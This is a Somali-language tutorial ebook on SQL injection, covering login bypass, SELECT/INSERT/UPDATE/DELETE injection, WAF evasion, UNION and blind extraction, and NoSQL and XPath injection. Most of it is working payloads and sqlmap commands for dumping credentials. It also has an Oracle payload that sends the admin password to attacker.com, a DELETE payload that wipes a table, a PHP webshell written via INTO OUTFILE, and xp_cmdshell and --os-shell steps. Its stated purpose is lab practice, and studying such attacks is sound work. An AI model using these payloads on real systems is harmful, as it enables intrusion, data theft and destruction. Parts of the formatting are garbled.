# SQL INJECTION
_November 29 at 2:30 PM_
**بسم الله الرحمن الرحيم**
---
## Tusmada Buugga
1. [Hordhaca Weerarada "Injection" iyo Sida Loo Dhaafo "Login"-ka.](#casharka-1-hordhaca-weerarada-injection-iyo-sida-loo-dhaafo-login-ka)
2. [Aasaaska SQL Injection - Noocyada SELECT iyo INSERT.](#casharka-2-aasaaska-sql-injection---weerarada-select-iyo-insert)
3. [SQL Injection-ka Sare - Noocyada UPDATE iyo DELETE iyo Sida Loo Dhaafo Difaacyada.](#casharka-3-sql-injection-ka-sare---weerarada-update-delete-iyo-dhaafidda-difaacyada)
4. Ka Faa'iidaysiga Sare ee SQL Injection - Weerarka UNION.
5. Ka Faa'iidaysiga (Blind SQLi).
6. Weerarada ka Baxsan SQL Injection - Sida Loola Wareego Database-ka iyo OS-ka.
7. Weerarada NoSQL iyo XPath Injection.
---
# hordhac
Ku soo dhawow buuggan kooban ee ku saabsan SQL Injection. Inkastoo uusan buuggani si buuxda u dabooli doonin baaxadda weyn ee mowduucan, haddana waxaan rajaynayaa inuu noqdo hage iyo albaab wanaagsan oo uu ka galo qof kasta oo ku cusub barashada amniga web-ka.
Hadafka ugu weyn ee aan ka leeyahay waa inaan wadaagno aqoon waxtar leh oo aan is-dhaafsano.
aqoontani waxay leedahay laba waji. Sidaa darteed, mas'uul kama ihi cawaaqibka ka dhasha adeegsiga aqoontan si khaldan. Haddii aad tijaabo ku samayso database ama website aadan fasax u haysan, mas'uuliyadda dembigaas adiga ayaa qaadi doona.
Si aad si ammaan ah ugu tababarto casharrada ku jira buuggan, waxaa lagama maarmaan ah inaad isticmaasho lab kuu gaar ah. Waxaa jira lab-yo badan oo bilaash ah, midka aan anigu inta badan isticmaalo kuna talinayo waa OWASP BWA (Broken Web Applications Project).
Wixii talo, tusaale, ama su'aal dheeri ah, waxaad igala soo xiriiri kartaan:
Mobile: +252 61 998 7794
Email: arkani6563@gmail.com
## waxaa dhici karta inta aan qoreynay inuu khalad naga dhacay ama aan wax ka tagnay ee fadlan buuga la deg asigaa ka fiican
## Casharka 1: Hordhaca Weerarada "Injection" iyo Sida Loo Dhaafo "Login"-ka
Casharkan, waxaan ku baran doonaa fikradda aasaasiga ah ee ka dambaysa dhammaan weerarada "injection" iyo tusaalaha ugu caansan ee ah sida loogu isticmaalo in lagu dhaafo bogga "login"-ka.
### Waa maxay "Injection"?
"Injection" waa nooc weerar ah oo dhaca marka xog uu soo geliyay user (oo ah mid aan la aamini karin) ay si qalad ah ugu dhex milanto code ama amarro uu server-ku fulinayo. Halkii xogta loola dhaqmi lahaa sidii macluumaad caadi ah, waxaa loo fasirtaa sidii amar la fulinayo.
### Fikradda Aasaasiga ah: Ka Baxsashada Macnaha Xogta (Breaking out of the Data Context)
Ka soo qaad in website-ku uu ku weydiiyo magacaaga, adiguna aad geliso `cali`. Server-ku wuxuu dhisayaa amar u eg sidan:
`"Soo hel macluumaadka qofka magaciisu yahay 'cali'"`
Hadda, ka soo qaad inaad tahay hacker oo aad geliso: `cali' or '1'='1`
Amarkii wuxuu isu beddelayaa:
`"Soo hel macluumaadka qofka magaciisu yahay 'cali' or '1'='1'`
Qaybta dambe ee `' or '1'='1'` hadda maaha magac, laakiin waa amar `logical command` oo had iyo jeer run ah. Waxaad ka baxday macnihii xogta (magaca) oo aad u gudubtay macnihii amarka. Tani waa nuxurka "injection".
### Sida Loo Dhaafo "Login"-ka (Bypassing a Login)
Kani waa tusaalaha ugu caansan ee SQL Injection. Marka aad "login" garayso, server-ku wuxuu samaynayaa `query` SQL ah oo u eg sidan:
```sql
SELECT * FROM users WHERE username = 'isticmaalaha' AND password = 'password-ka';Hacker-ka wuxuu isku dayayaa inuu wax ka beddelo weydiintaas si uu u tirtiro qaybta hubinaysa password-ka.
- Username:
admin'--- (F.G: Labada xariiq ee isku xiga (
--) waa calaamadda "comment"-ka ee SQL, waxayna ka dhigan tahay "iska indho tir waxa ka dambeeya").
- (F.G: Labada xariiq ee isku xiga (
- Password: Wax kasta.
Weydiinta waxay noqonaysaa:
SELECT * FROM users WHERE username = 'admin'-- ' AND password = 'waxkasta';Database-ku wuxuu fulinayaa oo kaliya SELECT * FROM users WHERE username = 'admin', wuuna ku soo gelinayaa adigoon password-ka saxda ah gelin!
- Username:
' OR 1=1-- - Password: Wax kasta.
Weydiinta waxay noqonaysaa:
SELECT * FROM users WHERE username = '' OR 1=1-- ' AND password = 'waxkasta';Maadaama 1=1 ay had iyo jeer run tahay, weydiintu waxay soo celinaysaa dhammaan isticmaalayaasha. Inta badan, website-ku wuxuu si toos ah kuu gelinayaa akoonka ugu horreeya ee uu helo, kaas oo inta badan ah kan maamulaha (admin).
Casharkan, waxaan diiradda saari doonaa labada nooc ee ugu caansan ee weydiimaha SQL ee la weeraro: SELECT (oo loo isticmaalo in xog lagu soo saaro) iyo INSERT (oo loo isticmaalo in xog lagu daro).
Goorta la Isticmaalo:
SELECT waxaa la isticmaalaa mar kasta oo website-ku uu u baahan yahay inuu xog ka soo saaro database-ka. Tusaale:
- Markaad raadinayso badeeco.
- Markaad eegayso profile-ka isticmaale.
- Markaad akhrinayso maqaal.
Barta Jilicsan:
Inta badan, xogta aad geliso waxay ku dhammaataa qaybta WHERE ee weydiinta.
SELECT * FROM products WHERE name = 'XOGTAADA';Weerarka Caadiga ah:
Sidaan horey u aragnay, hadafka koowaad waa in la beddelo shuruudda WHERE si loo soo saaro xog aan laguu talagalin.
' OR 1=1---> Soo saar dhammaan waxyaabaha ku jira shaxda (table).
Goorta la Isticmaalo:
INSERT waxaa la isticmaalaa marka xog cusub lagu darayo database-ka. Tusaale:
- Markaad isdiiwaangelinayso.
- Markaad fariin ku qorayso "forum".
- Markaad dalbanayso badeeco.
Barta Jilicsan:
Xogtaada waxaa la gelinayaa qaybta VALUES.
INSERT INTO users (username, password) VALUES ('XOGTAADA_USER', 'XOGTAADA_PASS');Weerarka:
Halkan, hadafku waa in la xiro weydiinta INSERT ee hadda socota oo la bilaabo mid cusub, ama in la beddelo qiimayaasha la gelinayo.
Tusaale: Ka soo qaad inaad isdiiwaangelinayso oo aad geliso username-kan:
cali', 'password123'), ('admin', 'password123');--
Weydiinta waxay noqonaysaa:
INSERT INTO users (username, password) VALUES ('cali', 'password123'), ('admin', 'password123');-- ', 'password_ka_dhabta_ah');Halkan, waxaad si guul leh ugu dartay laba isticmaale (adiga iyo admin) hal codsi gudihiis! Caqabadda jirta waa inaad si sax ah u qiyaastaa tirada iyo nooca tiirarka (columns) si aadan u jebin qaab-dhismeedka weydiinta.
Tani waa farsamo aad u khiyaano badan.
- Tallaabada 1aad: Waxaad gelisaa xog xaasidnimo ah (tusaale,
' OR 1=1--) meel ay u muuqato in si ammaan ah loo maareeyay. Xogtan waxaa lagu kaydinayaa database-ka. - Tallaabada 2aad: Marka dambe, qayb kale oo website-ka ka mid ah ayaa xogtaas ka soo akhrinaysa database-ka oo si toos ah ugu isticmaalaysa weydiin kale iyadoon mar kale hubin. Markan, maadaama ay database-ka ka timid, waxaa loo malaynayaa inay ammaan tahay. Halkan ayuu weerarku ka dhacayaa, sababtoo ah koodhkii xaasidnimada ahaa ee la kaydiyay ayaa hadda la fulinayaa.
Tusaale: Waxaad isku diiwaangelinaysaa username-ka '--. Website-ku wuu aqbalayaa. Marka xigta, marka aad isku daydo inaad password-ka beddesho, website-ku wuxuu samaynayaa weydiin u eg: UPDATE users SET password='new' WHERE username='''--'. Halkan, weydiintu way jarmaysaa oo waxay noqonaysaa UPDATE users SET password='new' WHERE username='', taasoo laga yaabo inay beddesho password-ka isticmaale kale.
SQLMap waa qalabka ugu awoodda badan ee si toos ah u hela ugana faa'iidaysta SQL Injection.
Sida Loo Isticmaalo:
-
Hel URL Nugul: Marka hore, si gacanta ah u hel meel aad ka shakisan tahay inay leedahay SQLi (tusaale, meel aad gelisay
'oo uu qalad ka dhashay). -
Amarka Aasaasiga ah:
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1"-u= waxay u taagan tahay URL-ka la beegsanayo.
-
Soo Saarka Database-yada: Marka uu helo nuglaanshaha, waxaad weydiin kartaa inuu kuu soo saaro liiska database-yada.
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs -
Soo Saarka Shaxda (Tables):
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart --tables-D: Magaca database-ka,--tables: Soo saar shaxda.
-
Soo Saarka Xogta:
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users -C uname,pass --dump
Casharkan, waxaan diiradda saari doonaa sida loo weeraro weydiimaha wax ka beddela (UPDATE) iyo kuwa wax tirtira (DELETE), iyo sida loo isticmaalo farsamooyin fudud si looga gudbo difaacyada aasaasiga ah.
Goorta la Isticmaalo:
UPDATE waxaa la isticmaalaa marka la cusboonaysiinayo xog horey u jirtay. Tusaale:
- Markaad beddelayso profile-kaaga.
- Markaad beddelayso password.
Barta Jilicsan:
Sida SELECT, inta badan xogtaada waxay ku dhammaataa qaybta WHERE, taasoo go'aaminaysa riikoorkee la beddelayo.
UPDATE users SET password = 'password_cusub' WHERE username = 'XOGTAADA_USER';Weerarka:
Hadafku waa in la beddelo shuruudda WHERE si loo cusboonaysiiyo riikoorka qof kale, ama xitaa dhammaan riikooryada.
Tusaale: Ka soo qaad inaad beddelayso profile-kaaga oo aad geliso username-kan: cali' OR 1=1--
Weydiinta waxay noqonaysaa:
UPDATE users SET city = 'Hargeisa' WHERE username = 'cali' OR 1=1-- ';Natiijadu waxay noqonaysaa in dhammaan isticmaalayaasha ku jira database-ka magaaladooda laga dhigo "Hargeisa"!
Goorta la Isticmaalo:
DELETE waxaa la isticmaalaa marka la tirtirayo xog. Tusaale:
- Markaad tirtirayso fariin ama user.
Barta Jilicsan:
Sidoo kale, inta badan waa qaybta WHERE.
DELETE FROM products WHERE product_id = 'XOGTAADA_ID';Weerarka:
Sida UPDATE, haddii aad maamusho qaybta WHERE, waxaad tirtiri kartaa wax ka badan intii laguu talagalay.
Tusaale: Haddii aad geliso 123' OR 1=1-- , weydiintu waxay noqonaysaa:
DELETE FROM products WHERE product_id = '123' OR 1=1-- ';Tani waxay tirtiraysaa dhammaan badeecada ku jirta database-ka.
Marka aad hesho SQLi, waxaa laga yaabaa inaad la kulanto difaacyo aasaasi ah. Waa kuwan farsamooyin aad ku dhaafi karto:
-
Haddii
'la mamnuuco:- Haddii ay tahay meel qoraal ah, waxaad isticmaali kartaa
CHAR()function-ka.'admin'wuxuu u dhigmaaCHAR(97, 100, 109, 105, 110)(MySQL).
- Haddii ay tahay meel qoraal ah, waxaad isticmaali kartaa
-
Haddii Meesha Bannaan (space) la mamnuuco:
- Waxaad isticmaali kartaa "comments" si aad u samayso meel bannaan.
SELECT user FROM userswuxuu u dhigmaaSELECT/**/user/**/FROM/**/users.
- Waxaad isticmaali kartaa "comments" si aad u samayso meel bannaan.
-
Haddii Erayo Gaar ah la mamnuuco (sida
SELECT,UNION):- Case Variation: Isku day
SeLeCt,UnIoN. - Comments: Isku day
SEL/**/ECT. - Encoding: Isku day inaad "URL encode" garayso erayga:
SELECT->%53%45%4C%45%43%54.
- Case Variation: Isku day
WAF-yada casriga ahi way ka caqli badan yihiin. Si aad u dhaafto, waxaad u baahan tahay farsamooyin isku-dhafan.
-
MySQL Version Comment:
UNION SELECTwaxaa loo qori karaa/*!UNION*/ /*!SELECT*/. WAF-ku wuxuu u arkaa "comment", laakiin MySQL wuu fulinayaa.
-
Using Alternative Syntax:
1=1wuxuu u dhigmaa2>1,3-2=1,NOT 0.ANDwuxuu u dhigmaa&&.ORwuxuu u dhigmaa||.
SQLMap wuxuu leeyahay "tamper scripts" oo si toos ah u beddelaya "payload"-kaaga si ay u dhaafaan WAF-yada.
Sida Loo Isticmaalo:
- Eeg liiska "tamper scripts"-ka:
sqlmap --list-tampers
- Dooro mid ama dhowr ka mid ah:
# Tusaale: wuxuu beddelayaa meelaha bannaan, wuxuuna ku darayaa comments random ah sqlmap -u "URL" --tamper=space2comment,randomcase
space2comment.py: Wuxuu (space) u beddelayaa/**/.randomcase.py: WuxuuSELECTka dhigayaaSeLeCt.
UNION waa amar SQL ah oo loo isticmaalo in lagu isku daro natiijooyinka laba weydiin oo SELECT ah ama ka badan, iyadoo la soo saarayo hal natiijo oo isku-dhafan.
Si UNION uu u shaqeeyo, labada weydiin waa inay buuxiyaan laba shuruudood oo muhiim ah:
- Tiro isku mid ah oo columns ah (Same Number of Columns): Labada weydiin waa inay soo celiyaan tiro isku mid ah oo tiirar ah.
- Noocyo Xog oo is-waafaqi kara (Compatible Data Types): column kasta oo weydiinta koowaad waa inuu lahaadaa nooc xogeed oo la jaan qaadi kara column u dhigma ee weydiinta labaad (tusaale, lambar iyo lambar, qoraal iyo qoraal).
- Hel Barta Nugul: Waxaad heshay meel leh SQL Injection oo ku jirta weydiin
SELECTah. Tusaale:SELECT name, description FROM products WHERE id = 'XOGTAADA'; - Jooji Weydiinta Asalka ah: Waa inaad marka hore soo afjartaa weydiinta asalka ah si aysan wax natiijo ah usoo celin, si aad si fudud u aragto natiijada weydiintaada cusub. Waxaad tan ku samayn kartaa adigoo siinaya qiime aan jirin:
' AND 1=2 - Weydiintaada Cusub: Hadda waxaad ku daraysaa weydiintaada adigoo isticmaalaya
UNION SELECT.' AND 1=2 UNION SELECT username, password FROM users-- - Weydiinta Buuxda: Weydiinta kama dambaysta ah ee database-ku fulinayo waxay noqonaysaa:
SELECT name, description FROM products WHERE id = '' AND 1=2 UNION SELECT username, password FROM users-- ';
Natiijadu waxay noqonaysaa in website-ku uu soo bandhigo liiska dhammaan usernames-ka iyo passwords-ka, isagoo u malaynaya inay yihiin magacyada iyo sharraxaadaha badeecada!
Sideen ku ogaanayaa tirada columns?
Waxaad isticmaali kartaa ORDER BY clause. Si isdaba joog ah u tijaabi:
' ORDER BY 1--(Haddii uusan qalad keenin, waxaa jira ugu yaraan 1 column)' ORDER BY 2--(Haddii uusan qalad keenin, waxaa jira ugu yaraan 2 column)' ORDER BY 3--(Haddii uu qalad keeno, waxay ka dhigan tahay inaysan jirin 3 column, ee ay yihiin 2).
Sideen ku ogaanayaa nooca xogta ee columns?
Uma baahnid inaad si sax ah u ogaato. Waxaad isticmaali kartaa NULL meel kasta oo aadan aqoon. NULL wuxuu la jaan qaadi karaa nooc kasta oo xogeed.
Markaad hesho tirada saxda ah ee columns (tusaale, 4), waxaad tijaabinaysaa: ' UNION SELECT 'a', NULL, NULL, NULL-- , ' UNION SELECT NULL, 'a', NULL, NULL-- iyo wixii la mid ah, ilaa aad ka hesho colum-ka soo bandhigaya xarafka 'a'. Kaas ayaa ah column aad u isticmaali doonto inaad xogta kusoo saarto.
Waxay dhacdaa marka INSERT statement uu isticmaalo SELECT si uu xogta u soo saaro.
INSERT INTO new_users (username, email) SELECT username, email FROM temp_users WHERE signup_date > '2025-01-01';Haddii aad maamusho qayb ka mid ah WHERE clause-ka, waxaad ku dari kartaa UNION SELECT si aad u geliso xog aan la filayn shaxda new_users.
SQLMap wuxuu si toos ah u sameeyaa dhammaan tallaabooyinkan. Markaad siiso URL nugul, wuxuu:
- Si toos ah u ogaanayaa tirada columns.
- Si toos ah u ogaanayaa noocyada xogta.
- Wuxuu isticmaalayaa
UNIONsi uu u soo saaro magacyada database-yada, tables, columns, iyo ugu dambayn xogta lafteeda.
Amarka Lagu Qasbo UNION: Haddii aad hubto in UNION injection uu suurtagal yahay, waxaad ku qasbi kartaa SQLMap inuu si toos ah u isticmaalo farsamadan:
sqlmap -u "URL" --technique=U --dbs(--technique=U waxay u taagan tahay "UNION query SQL injection").
Casharkan, waxaan ku baran doonaa laba hab oo waaweyn oo loo isticmaalo in xogta looga soo saaro database-ka xaraf-xaraf, iyadoo la adeegsanayo oo kaliya isbeddel yar oo ku yimaada hab-dhaqanka website-ka.
Waa nooc SQLi ah oo dhaca marka nuglaanshuhu jiro, laakiin website-ku uusan soo bandhigin wax natiijo ah oo ka timid weydiintaada ama wax fariin qalad ah oo database-ka ka yimid. Jawaabta server-ku waa isku mid, ha ahaato weydiintaadu mid sax ah ama mid qaldan.
Waa inaad raadisaa isbeddel yar oo ku yimaada hab-dhaqanka website-ka oo aad adigu sababi karto. Waxaa jira laba nooc oo waaweyn:
Waxaad samaynaysaa weydiin SQL ah oo ku daraysa shuruud (AND) run ah ama been ah. Kadib, waxaad eegaysaa haddii ay jirto farqi yar oo u dhexeeya jawaabta marka shuruuddu run tahay iyo marka ay been tahay.
Tusaale: Ka soo qaad bog soo bandhigaya maqaal: view.php?id=1.
- Shuruud Run ah:
' AND 1=1---> Boggu si caadi ah ayuu u soo baxayaa. - Shuruud Been ah:
' AND 1=2---> Boggu wuxuu soo saarayaa "Maqaal lama helin".
Hadda oo aad haysato hab aad ku kala saarto "Run" iyo "Been", waxaad weydiin kartaa su'aal kasta oo aad rabto.
- Su'aasha 1aad: "Magaca database-ka ma wuxuu ka kooban yahay 5 xaraf?"
' AND (SELECT LENGTH(database())) = 5-- - Su'aasha 2aad: "Xarafka koowaad ee magaca database-ka ma 'd' baa?"
' AND (SELECT SUBSTRING(database(), 1, 1)) = 'd'--
Waxaad sii wadaysaa ilaa aad ka hesho xaraf kasta, adigoo isku daraya natiijooyinka si aad u hesho erayga oo dhan. Tani waa hab aad u gaabis ah laakiin aad u awood badan.
Tani waa habka ugu dambeeya ee la isticmaalo marka aysan jirin wax farqi ah oo la arki karo oo u dhexeeya jawaabaha. Waxaad ku qasbaysaa database-ka inuu sugo (delay) muddo cayiman haddii shuruuddaadu ay run tahay.
Tusaale:
- Shuruud Run ah (MySQL):
' AND IF((SELECT LENGTH(database())) = 5, SLEEP(10), 0)--Haddii dhererka magaca database-ku yahay 5, server-ku wuxuu sugayaa 10 ilbiriqsi ka hor inta uusan jawaabin. Haddii kale, isla markiiba wuu jawaabayaa.
Waxaad cabbiraysaa waqtiga ay ku qaadanayso server-ka inuu jawaabo. Haddii uu dib u dhaco, waxaad ogtahay in shuruuddaadu ay run ahayd. Haddii kale, waxay ahayd been.
Tani waa farsamo la isticmaalo marka aysan jirin wax jawaab ah oo la arki karo haba yaraatee.
Waxaad ku amraysaa database-ka inuu sameeyo isku xir shabakadeed (network connection) oo uu xogta ku soo diro server adiga kuu gaar ah.
Tusaale (Oracle):
' AND UTL_HTTP.request('http://attacker.com/' || (SELECT password FROM users WHERE username='admin'))--
Halkan, database-ku wuxuu isku dayayaa inuu booqdo URL ay ku jiraan password-ka admin-ka. Adiguna waxaad dhegaysanaysaa server-kaaga si aad u qabato codsigaas.
Tani waxay inta badan shaqeysaa oo kaliya haddii firewall-ka uusan si adag u xannibin isku xirka dibadda.
Markaad hesho SQL Injection, waxaad si toos ah ula hadlaysaa database-ka. Laakiin, database-yada casriga ahi maaha oo kaliya kayd xogeed; waa barnaamijyo adag oo awood u leh inay la falgalaan Operating System-yada.
Ka hor inta aadan gaarin OS-ka, waa inaad marka hore heshaa awoodaha ugu sarreeya ee database-ka laftiisa (sida dba ee Oracle ama sa ee MS-SQL).
Sida Loo Sameeyo:
Hel nuglaansho ku jira database-ka. Haddii aad awoodo inaad fuliso weydiin SQL ah, waxaad ka faa'iidaysan kartaa nuglaanshooyinkaas si aad awooddaada u kordhiso. Tusaale, noocyo hore oo Oracle ah, waxaa jiray "stored procedures" la weerari karay si loo helo awood dba.
Mararka qaarkood, passwords-ka isticmaalayaasha awoodda badan waxaa lagu kaydiyaa faylal uu database-ku akhrin karo.
Markaad hesho awoodaha ugu sarreeya ee database-ka, waxaad inta badan awood u yeelanaysaa inaad fuliso amarro OS ah.
- Waa maxay? Kani waa "extended stored procedure" caan ah oo ku jira MS-SQL kaas oo kuu oggolaanaya inaad si toos ah u fuliso amarro Windows Command Prompt ah.
- Sida Loo Isticmaalo:
EXEC master..xp_cmdshell 'whoami'; - Caqabadda: Noocyada cusub ee MS-SQL,
xp_cmdshellwaa la joojiyay (disabled) si default ah. Laakiin, haddii aad leedahay awoodsa, waad awoodsiin kartaa adigoo isticmaalaya dhowr amar oo SQL ah.
Oracle wuu ka adag yahay, laakiin waa suurtagal. Waxaa la isticmaali karaa awoodda Java ee ku dhex jirta database-ka si loo sameeyo function fulinaya amarro OS ah.
- User-Defined Functions (UDF): MySQL wuxuu kuu oggolaanayaa inaad samayso function-no adiga kuu gaar ah adigoo ka soo dejinaya fayl
.so(Linux) ama.dll(Windows) ah. Hacker-ka wuxuu marka hore u baahan yahay inuu awoodo inuu faylkaas "upload" gareeyo server-ka. SELECT ... INTO OUTFILE: Farsamadan waxay kuu oggolaanaysaa inaad natiijada weydiin kasta ku qorto fayl server-ka ku yaal.- Weerarka: Waxaad samayn kartaa fayl PHP ah oo fudud oo ah "webshell" oo aad ku kaydiso meel web-ku uu geli karo.
SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php';
- Hadda, waxaad booqan kartaa
http://example.com/shell.php?cmd=whoamisi aad u fuliso commands.
- Weerarka: Waxaad samayn kartaa fayl PHP ah oo fudud oo ah "webshell" oo aad ku kaydiso meel web-ku uu geli karo.
Markaad hesho RCE, shaqadu halkaas kuma eka. Tallaabada xigta waa inaad samaysato "reverse shell" si aad u hesho terminal (interactive terminal), kadibna aad isku daydo inaad awooddaada ka sii kordhiso heerka "root" ama "SYSTEM".
SQLMap wuxuu si cajiib ah u fududeeyaa habkan oo dhan. Marka uu helo SQLi oo uu aqoonsado database-ka iyo awoodahaaga, wuxuu si toos ah isugu dayaa inuu helo RCE.
Sida Loo Isticmaalo:
- Marka hore, hubi awoodahaaga:
sqlmap -u "URL" --is-dba - Haddii aad tahay DBA, isku day inaad hesho "OS shell":
sqlmap -u "URL" --os-shell
SQLMap wuxuu si toos ah isugu dayi doonaa farsamooyin kala duwan (sida xp_cmdshell, UDF injection, iwm.) si uu kuu siiyo terminal aad ku qori karto amarro OS ah.
- Waa maxay XPath? Waa luqad weydiin ah oo loo isticmaalo in lagu dhex socdo laguna soo saaro xogta ku jirta faylasha XML. Waa sidii SQL oo kale, laakiin loogu talagalay XML.
- Goorta la Isticmaalo: Marka website-ku uu xogtiisa ku kaydiyo faylal XML ah halkii uu ka isticmaali lahaa database.
- Fikradda Weerarka: Waa isku mid sida SQLi. Waxaad isku dayaysaa inaad ka baxdo macnaha xogta oo aad wax ka beddesho weydiinta XPath.
- Weydiinta Caadiga ah:
//users/user[username='XOGTAADA_USER' and password='XOGTAADA_PASS'] - Weerarka: Sida SQLi, waxaad isticmaali kartaa
' or '1'='1.- Username:
cali' or '1'='1 - Weydiinta waxay noqonaysaa:
//users/user[username='cali' or '1'='1' and password='...'] - Tani waxay soo celinaysaa dhammaan isticmaalayaasha.
- Username:
- Weydiinta Caadiga ah:
- Sida Loo Helo: Calaamadaha lagu garto waa isku mid sida SQLi. Isku day inaad geliso
'oo eeg haddii qalad dhaco. Farqiga ayaa ah in fariinta qaladku ay xusi doonto wax la xiriira "XPath" ama "XML".
- Waa maxay NoSQL? Waa nooc database ah oo aan isticmaalin qaab-dhismeedka shaxda (tables) ee SQL. Waxay xogta u kaydiyaan si ka duwan, inta badan qaab JSON ah (sida MongoDB).
- Goorta la Isticmaalo: Websites-ka casriga ah, gaar ahaan kuwa isticmaala Node.js.
- Fikradda Weerarka: Maadaama weydiimaha inta badan lagu qoro luqado (sida JavaScript), weerarku wuxuu ku xiran yahay sida luqaddaas loo maareeyo.
- Tusaale (MongoDB): Ka soo qaad in "login"-ku uu u qoran yahay sidan:
db.users.find({ username: '$username', password: '$password' });
- Haddii aad geliso password-ka
'$ne': '', weydiintu waxay noqonaysaa:db.users.find({ username: 'admin', password: {'$ne': ''} });
$nemacnaheedu waa "not equal". Weydiintani waxay soo celinaysaa isticmaalahaadminhaddii password-kiisu uusan ahayn mid madhan (taasoo inta badan run ah), sidaasna lagu dhaafayo hubintii password-ka!
- Tusaale (MongoDB): Ka soo qaad in "login"-ku uu u qoran yahay sidan:
- Sida Loo Helo: Tani way ka adag tahay. Waa inaad fahamtaa luqadda weydiinta ee database-ka la isticmaalayo (sida MongoDB query syntax) oo aad tijaabisaa "operators" kala duwan sida
$ne,$gt(greater than), iwm.
Sida SQLi, haddii aadan arki karin wax jawaab ah, waxaad isticmaali kartaa farsamooyin "blind". Tusaale, waxaad samayn kartaa weydiin sababaysa dib u dhac waqti haddii shuruud gaar ah ay run tahay.
// Haddii xarafka koowaad ee password-ka admin yahay 'p', sug 5 ilbiriqsi
if (this.password.match(/^p.*/)) { sleep(5000); }